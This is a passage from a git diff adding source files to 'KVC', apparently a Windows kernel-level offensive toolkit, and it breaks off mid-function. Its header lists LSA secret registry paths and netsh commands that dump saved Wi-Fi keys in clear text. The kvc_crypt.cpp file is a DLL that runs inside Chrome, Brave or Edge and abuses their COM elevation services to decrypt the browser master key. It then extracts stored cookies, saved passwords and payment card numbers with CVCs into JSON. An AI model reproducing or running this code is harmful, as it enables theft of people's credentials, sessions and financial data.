SQLITE_OPEN_READONLY = 0x00000001; + + inline std::string GetChromeV10Prefix() { return "v10"; } + inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; } + + inline std::wstring GetSecurityPolicySecrets() { return L"SECURITY\\Policy\\Secrets"; } + inline std::wstring GetDPAPISystemKey() { return L"DPAPI_SYSTEM"; } + inline std::wstring GetNLKMKey() { return L"NL$KM"; } + inline std::wstring GetDefaultPasswordKey() { return L"DefaultPassword"; } + + inline std::wstring GetCurrVal() { return L"CurrVal"; } + inline std::wstring GetOldVal() { return L"OldVal"; } + + inline std::wstring GetChromeUserData() { return L"\\Google\\Chrome\\User Data"; } + inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; } + inline std::wstring GetLocalStateFile() { return L"\\Local State"; } + inline std::wstring GetLoginDataFile() { return L"\\Login Data"; } + + inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; } + + inline std::string GetLocalAppData() { return "LOCALAPPDATA"; } + + inline std::wstring GetHTMLExt() { return L".html"; } + inline std::wstring GetTXTExt() { return L".txt"; } + inline std::wstring GetDBExt() { return L".db"; } + + inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; } + inline std::wstring GetTempPattern() { return L"temp_login_data"; } + + inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; } + inline std::string GetNetshShowProfileKey() { return "netsh wlan show profile name=\""; } + inline std::string GetNetshKeyClear() { return "\" key=clear"; } + + inline std::string GetWiFiProfileMarker() { return "All User Profile"; } + inline std::string GetWiFiKeyContent() { return "Key Content"; } + + inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; } + + inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; } + inline std::wstring GetStatusClearText() { return L"CLEAR_TEXT"; } + inline std::wstring GetStatusEncrypted() { return L"ENCRYPTED"; } + inline std::wstring GetStatusFailed() { return L"FAILED"; } + inline std::wstring GetStatusExtracted() { return L"EXTRACTED"; } +} + +// Dynamic API loading globals for driver operations +extern ModuleHandle g_advapi32; +extern SystemModuleHandle g_kernel32; +extern decltype(&CreateServiceW) g_pCreateServiceW; +extern decltype(&OpenServiceW) g_pOpenServiceW; +extern decltype(&StartServiceW) g_pStartServiceW; +extern decltype(&DeleteService) g_pDeleteService; +extern decltype(&CreateFileW) g_pCreateFileW; +extern decltype(&ControlService) g_pControlService; + +// Service mode detection +extern bool g_serviceMode; +extern volatile bool g_interrupted; + +// Core driver functions +bool InitDynamicAPIs() noexcept; +std::wstring GetServiceName() noexcept; +std::wstring GetDriverFileName() noexcept; +void GenerateFakeActivity() noexcept; +std::wstring GetSystemTempPath() noexcept; + +// Service utility functions +bool IsServiceInstalled() noexcept; +bool IsServiceRunning() noexcept; +std::wstring GetCurrentExecutablePath() noexcept; + +// Driver path helper +inline std::wstring GetDriverStorePath() noexcept { + wchar_t windowsDir[MAX_PATH]; + if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) { + wcscpy_s(windowsDir, L"C:\\Windows"); + } + std::wstring result = windowsDir; + return result + L"\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_12ca23d60da30d59"; +} + +// KVC combined binary processing constants +constexpr std::array KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; +constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat"; +constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe"; +constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll"; diff --git a/kvc/intro.ps1 b/kvc/intro.ps1 new file mode 100644 index 0000000..62f9a99 --- /dev/null +++ b/kvc/intro.ps1 @@ -0,0 +1,84 @@ +$introText = @" +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +"@ + +# Get all .cpp files in current directory +$cppFiles = Get-ChildItem -Path . -Filter "*.cpp" + +# Count files with and without intro +$filesWithIntro = 0 +$filesWithoutIntro = 0 + +foreach ($file in $cppFiles) { + $content = Get-Content -Raw $file.FullName + $introPattern = [regex]::Escape($introText.Trim()) + + if ($content -match $introPattern) { + $filesWithIntro++ + } + else { + $filesWithoutIntro++ + } +} + +# Display summary +Write-Host "Found intro in $filesWithIntro files" -ForegroundColor Yellow +if ($filesWithIntro -gt 0) { + $choice = Read-Host "Remove intro from all these files in batch? (Y/N)" + if ($choice -eq 'Y' -or $choice -eq 'y') { + foreach ($file in $cppFiles) { + $content = Get-Content -Raw $file.FullName + $introPattern = [regex]::Escape($introText.Trim()) + + if ($content -match $introPattern) { + $newContent = $content -replace $introPattern, "" + $newContent = $newContent.TrimStart() + Set-Content -Path $file.FullName -Value $newContent -NoNewline + Write-Host "Removed intro from $($file.Name)" -ForegroundColor Green + } + } + } +} + +Write-Host "Intro not found in $filesWithoutIntro files" -ForegroundColor Yellow +if ($filesWithoutIntro -gt 0) { + $choice = Read-Host "Add intro to all these files in batch? (Y/N)" + if ($choice -eq 'Y' -or $choice -eq 'y') { + foreach ($file in $cppFiles) { + $content = Get-Content -Raw $file.FullName + $introPattern = [regex]::Escape($introText.Trim()) + + if (-not ($content -match $introPattern)) { + $newContent = $introText + "`r`n" + $content + Set-Content -Path $file.FullName -Value $newContent -NoNewline + Write-Host "Added intro to $($file.Name)" -ForegroundColor Green + } + } + } +} + +Write-Host "Batch operation completed" -ForegroundColor Cyan diff --git a/kvc/kvc_crypt.cpp b/kvc/kvc_crypt.cpp new file mode 100644 index 0000000..2be7583 --- /dev/null +++ b/kvc/kvc_crypt.cpp @@ -0,0 +1,933 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// kvc_crypt.cpp +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "SelfLoader.h" +#include "winsqlite3.h" + +#pragma comment(lib, "Crypt32.lib") +#pragma comment(lib, "bcrypt.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "shell32.lib") + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +namespace fs = std::filesystem; + +// Simplified string utilities for essential conversions only +namespace StringUtils +{ + // Convert filesystem path to API-compatible string + inline std::string path_to_string(const fs::path& path) + { + return path.string(); + } +} + +// COM Interface Protection Levels for Browser Elevation Services +enum class ProtectionLevel +{ + None = 0, + PathValidationOld = 1, + PathValidation = 2, + Max = 3 +}; + +// Chrome/Brave Base Elevator Interface - COM interop for browser security services +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IOriginalBaseElevator : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +// Edge Elevator Base Interface - placeholder methods for compatibility +MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6") +IEdgeElevatorBase_Placeholder : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0; +}; + +// Edge Intermediate Elevator Interface - extends base functionality +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +// Edge Final Elevator Interface - complete implementation +MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B") +IEdgeElevatorFinal : public IEdgeIntermediateElevator {}; + +namespace SecurityComponents +{ + class PipeLogger; + + namespace Utils + { + // Get Local AppData folder path with comprehensive error handling + fs::path GetLocalAppDataPath() + { + PWSTR path = nullptr; + if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) + { + fs::path result = path; + CoTaskMemFree(path); + return result; + } + throw std::runtime_error("Failed to get Local AppData path."); + } + + // Base64 decode utility for processing encrypted keys + std::optional> Base64Decode(const std::string& input) + { + DWORD size = 0; + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) + return std::nullopt; + + std::vector data(size); + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr)) + return std::nullopt; + + return data; + } + + // Convert binary data to hex string for diagnostic logging + std::string BytesToHexString(const std::vector& bytes) + { + std::ostringstream oss; + oss << std::hex << std::setfill('0'); + for (uint8_t byte : bytes) + oss << std::setw(2) << static_cast(byte); + return oss.str(); + } + + // Escape JSON strings for safe output serialization + std::string EscapeJson(const std::string& s) + { + std::ostringstream o; + for (char c : s) + { + switch (c) + { + case '"': o << "\\\""; break; + case '\\': o << "\\\\"; break; + case '\b': o << "\\b"; break; + case '\f': o << "\\f"; break; + case '\n': o << "\\n"; break; + case '\r': o << "\\r"; break; + case '\t': o << "\\t"; break; + default: + if ('\x00' <= c && c <= '\x1f') + { + o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast(c); + } + else + { + o << c; + } + } + } + return o.str(); + } + } + + namespace Browser + { + // Browser configuration structure for multi-platform support + struct Config + { + std::string name; + std::wstring processName; + CLSID clsid; + IID iid; + fs::path userDataSubPath; + }; + + // Get comprehensive browser configurations mapping + const std::unordered_map& GetConfigs() + { + static const std::unordered_map browser_configs = { + {"chrome", {"Chrome", L"chrome.exe", + {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, + {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, + fs::path("Google") / "Chrome" / "User Data"}}, + {"brave", {"Brave", L"brave.exe", + {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, + {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, + fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}}, + {"edge", {"Edge", L"msedge.exe", + {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, + {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, + fs::path("Microsoft") / "Edge" / "User Data"}} + }; + return browser_configs; + } + + // Detect current browser process configuration from runtime environment + Config GetConfigForCurrentProcess() + { + char exePath[MAX_PATH] = {0}; + GetModuleFileNameA(NULL, exePath, MAX_PATH); + std::string processName = fs::path(exePath).filename().string(); + std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower); + + const auto& configs = GetConfigs(); + if (processName == "chrome.exe") return configs.at("chrome"); + if (processName == "brave.exe") return configs.at("brave"); + if (processName == "msedge.exe") return configs.at("edge"); + + throw std::runtime_error("Unsupported host process: " + processName); + } + } + + namespace Crypto + { + // Cryptographic constants for AES-GCM decryption operations + constexpr size_t KEY_SIZE = 32; + constexpr size_t GCM_IV_LENGTH = 12; + constexpr size_t GCM_TAG_LENGTH = 16; + const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'}; + + // Support for multiple encryption format versions + const std::string V10_PREFIX = "v10"; + const std::string V20_PREFIX = "v20"; + + // Simple RAII wrapper for BCrypt algorithm handle + class BCryptAlgorithm + { + public: + BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); } + ~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); } + operator BCRYPT_ALG_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + private: + BCRYPT_ALG_HANDLE handle = nullptr; + }; + + // Simple RAII wrapper for BCrypt key handle + class BCryptKey + { + public: + BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector& key) + { + BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, + const_cast(key.data()), static_cast(key.size()), 0); + } + ~BCryptKey() { if (handle) BCryptDestroyKey(handle); } + operator BCRYPT_KEY_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + private: + BCRYPT_KEY_HANDLE handle = nullptr; + }; + + // Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats) + std::vector DecryptGcm(const std::vector& key, const std::vector& blob) + { + // Auto-detect encryption format version + std::string detectedPrefix; + size_t prefixLength = 0; + + if (blob.size() >= 3) + { + if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0) + { + detectedPrefix = V10_PREFIX; + prefixLength = V10_PREFIX.length(); + } + else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0) + { + detectedPrefix = V20_PREFIX; + prefixLength = V20_PREFIX.length(); + } + else + { + return {}; + } + } + else + { + return {}; + } + + const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH; + if (blob.size() < GCM_OVERHEAD_LENGTH) + return {}; + + // Initialize BCrypt AES-GCM cryptographic provider + BCryptAlgorithm algorithm; + if (!algorithm.IsValid()) + return {}; + + BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, + reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), + sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + + // Generate symmetric key from raw key material + BCryptKey cryptoKey(algorithm, key); + if (!cryptoKey.IsValid()) + return {}; + + // Extract cryptographic components from blob + const uint8_t* iv = blob.data() + prefixLength; + const uint8_t* ct = iv + GCM_IV_LENGTH; + const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH); + ULONG ct_len = static_cast(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH); + + // Configure GCM authenticated encryption parameters + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; + BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = const_cast(iv); + authInfo.cbNonce = GCM_IV_LENGTH; + authInfo.pbTag = const_cast(tag); + authInfo.cbTag = GCM_TAG_LENGTH; + + // Perform authenticated decryption with integrity verification + std::vector plain(ct_len > 0 ? ct_len : 1); + ULONG outLen = 0; + + NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast(ct), ct_len, &authInfo, + nullptr, 0, plain.data(), static_cast(plain.size()), &outLen, 0); + if (!NT_SUCCESS(status)) + return {}; + + plain.resize(outLen); + return plain; + } + + // Extract and validate encrypted master key from Local State configuration + std::vector GetEncryptedMasterKey(const fs::path& localStatePath) + { + std::ifstream f(localStatePath, std::ios::binary); + if (!f) + throw std::runtime_error("Could not open Local State file."); + + std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); + const std::string tag = "\"app_bound_encrypted_key\":\""; + size_t pos = content.find(tag); + if (pos == std::string::npos) + throw std::runtime_error("app_bound_encrypted_key not found."); + + pos += tag.length(); + size_t end_pos = content.find('"', pos); + if (end_pos == std::string::npos) + throw std::runtime_error("Malformed app_bound_encrypted_key."); + + auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos)); + if (!optDecoded) + throw std::runtime_error("Base64 decoding of key failed."); + + auto& decodedData = *optDecoded; + if (decodedData.size() < sizeof(KEY_PREFIX) || + memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) + { + throw std::runtime_error("Key prefix validation failed."); + } + return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()}; + } + } + + namespace Data + { + constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32; + + // Function pointer types for extraction operations + typedef std::shared_ptr>>(*PreQuerySetupFunc)(sqlite3*); + typedef std::optional(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector&, void*); + + // Configuration structure for database extraction operations + struct ExtractionConfig + { + fs::path dbRelativePath; + std::string outputFileName; + std::string sqlQuery; + PreQuerySetupFunc preQuerySetup; + JsonFormatterFunc jsonFormatter; + }; + + // Pre-query setup for payment cards - loads CVC data + std::shared_ptr>> SetupPaymentCards(sqlite3* db) + { + auto cvcMap = std::make_shared>>(); + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK) + return cvcMap; + + while (sqlite3_step(stmt) == SQLITE_ROW) + { + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 1)); + if (guid && blob) + (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)}; + } + sqlite3_finalize(stmt); + return cvcMap; + } + + // JSON formatter for cookies + std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 6)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)}); + if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE) + return std::nullopt; + + const char* value_start = reinterpret_cast(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE; + size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE; + + std::ostringstream json_entry; + json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) << "\"" + << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) << "\"" + << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 2))) << "\"" + << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\"" + << ",\"expires\":" << sqlite3_column_int64(stmt, 5) + << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false") + << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false") + << "}"; + return json_entry.str(); + } + + // JSON formatter for passwords + std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 2)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)}); + return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) + + "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast(plain.data()), plain.size()}) + "\"}"; + } + + // JSON formatter for payment cards + std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + auto cvcMap = reinterpret_cast>>*>(state); + std::string card_num_str, cvc_str; + + // Decrypt primary card number + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 4)); + if (blob) + { + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)}); + card_num_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + // Decrypt associated CVC if available + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + if (guid && cvcMap && (*cvcMap)->count(guid)) + { + auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid)); + cvc_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) + + ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) + + ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) + + "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}"; + } + + // Comprehensive extraction configurations for different browser data types + const std::vector& GetExtractionConfigs() + { + static const std::vector configs = { + // Browser cookie extraction configuration + {fs::path("Network") / "Cookies", "cookies", + "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;", + nullptr, FormatCookie}, + + // Stored password extraction configuration + {"Login Data", "passwords", + "SELECT origin_url, username_value, password_value FROM logins;", + nullptr, FormatPassword}, + + // Payment card information extraction configuration + {"Web Data", "payments", + "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;", + SetupPaymentCards, FormatPayment} + }; + return configs; + } + } + + // Named pipe communication interface with orchestrator process + class PipeLogger + { + public: + explicit PipeLogger(LPCWSTR pipeName) + { + m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); + } + + ~PipeLogger() + { + if (m_pipe != INVALID_HANDLE_VALUE) + { + Log("__DLL_PIPE_COMPLETION_SIGNAL__"); + FlushFileBuffers(m_pipe); + CloseHandle(m_pipe); + } + } + + bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; } + + // Send diagnostic message to orchestrator + void Log(const std::string& message) + { + if (isValid()) + { + DWORD bytesWritten = 0; + WriteFile(m_pipe, message.c_str(), static_cast(message.length() + 1), &bytesWritten, nullptr); + } + } + + HANDLE getHandle() const noexcept { return m_pipe; } + + private: + HANDLE m_pipe = INVALID_HANDLE_VALUE; + }; + + // Browser configuration and path management + class BrowserManager + { + public: + BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {} + + const Browser::Config& getConfig() const noexcept { return m_config; } + + // Resolve user data root directory for current browser configuration + fs::path getUserDataRoot() const + { + return Utils::GetLocalAppDataPath() / m_config.userDataSubPath; + } + + private: + Browser::Config m_config; + }; + + // Master key decryption service using COM elevation interfaces + class MasterKeyDecryptor + { + public: + explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) + { + if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED))) + { + throw std::runtime_error("Failed to initialize COM library."); + } + m_comInitialized = true; + m_logger.Log("[+] COM library initialized (APARTMENTTHREADED)."); + } + + ~MasterKeyDecryptor() + { + if (m_comInitialized) + { + CoUninitialize(); + } + } + + // Decrypt master key using browser-specific COM elevation service + std::vector Decrypt(const Browser::Config& config, const fs::path& localStatePath) + { + m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath)); + auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); + + // Prepare encrypted key as BSTR for COM interface + BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast(encryptedKeyBlob.data()), + static_cast(encryptedKeyBlob.size())); + if (!bstrEncKey) + throw std::runtime_error("SysAllocStringByteLen for encrypted key failed."); + + BSTR bstrPlainKey = nullptr; + HRESULT hr = E_FAIL; + DWORD comErr = 0; + + m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server..."); + + // Use Edge-specific COM elevation interface + if (config.name == "Edge") + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + // Use Chrome/Brave COM elevation interface + else + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + + // Cleanup and validate COM decryption operation result + SysFreeString(bstrEncKey); + + if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE) + { + if (bstrPlainKey) SysFreeString(bstrPlainKey); + std::ostringstream oss; + oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr; + throw std::runtime_error(oss.str()); + } + + // Extract raw AES key bytes from BSTR + std::vector aesKey(Crypto::KEY_SIZE); + memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE); + SysFreeString(bstrPlainKey); + return aesKey; + } + + private: + PipeLogger& m_logger; + bool m_comInitialized = false; + }; + + // Browser profile discovery and enumeration service + class ProfileEnumerator + { + public: + ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) + : m_userDataRoot(userDataRoot), m_logger(logger) {} + + // Discover all browser profiles containing extractable databases + std::vector FindProfiles() + { + m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot)); + std::vector profilePaths; + + // Check if directory contains extractable database files + auto isProfileDirectory = [](const fs::path& path) + { + for (const auto& dataCfg : Data::GetExtractionConfigs()) + { + if (fs::exists(path / dataCfg.dbRelativePath)) + return true; + } + return false; + }; + + // Check if root directory qualifies as a profile + if (isProfileDirectory(m_userDataRoot)) + { + profilePaths.push_back(m_userDataRoot); + } + + // Scan for profile subdirectories with database content + std::error_code ec; + for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec)) + { + if (!ec && entry.is_directory() && isProfileDirectory(entry.path())) + { + profilePaths.push_back(entry.path()); + } + } + + if (ec) + { + m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message()); + } + + // Remove duplicates using sort + unique instead of std::set + std::sort(profilePaths.begin(), profilePaths.end()); + profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end()); + + m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)."); + return profilePaths; + } + + private: + fs::path m_userDataRoot; + PipeLogger& m_logger; + }; + + // Database content extraction service using SQLite interface + class DataExtractor + { + public: + DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, + const std::vector& aesKey, PipeLogger& logger, + const fs::path& baseOutputPath, const std::string& browserName) + : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey), + m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {} + + // Extract and decrypt data from browser database + void Extract() + { + fs::path dbPath = m_profilePath / m_config.dbRelativePath; + if (!fs::exists(dbPath)) + return; + + // Open database with nolock parameter for live extraction without file locking + sqlite3* db = nullptr; + std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1"; + std::replace(uriPath.begin(), uriPath.end(), '\\', '/'); + + if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK) + { + m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + + ": " + (db ? sqlite3_errmsg(db) : "N/A")); + if (db) sqlite3_close_v2(db); + return; + } + + // Prepare SQL query for data extraction + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != 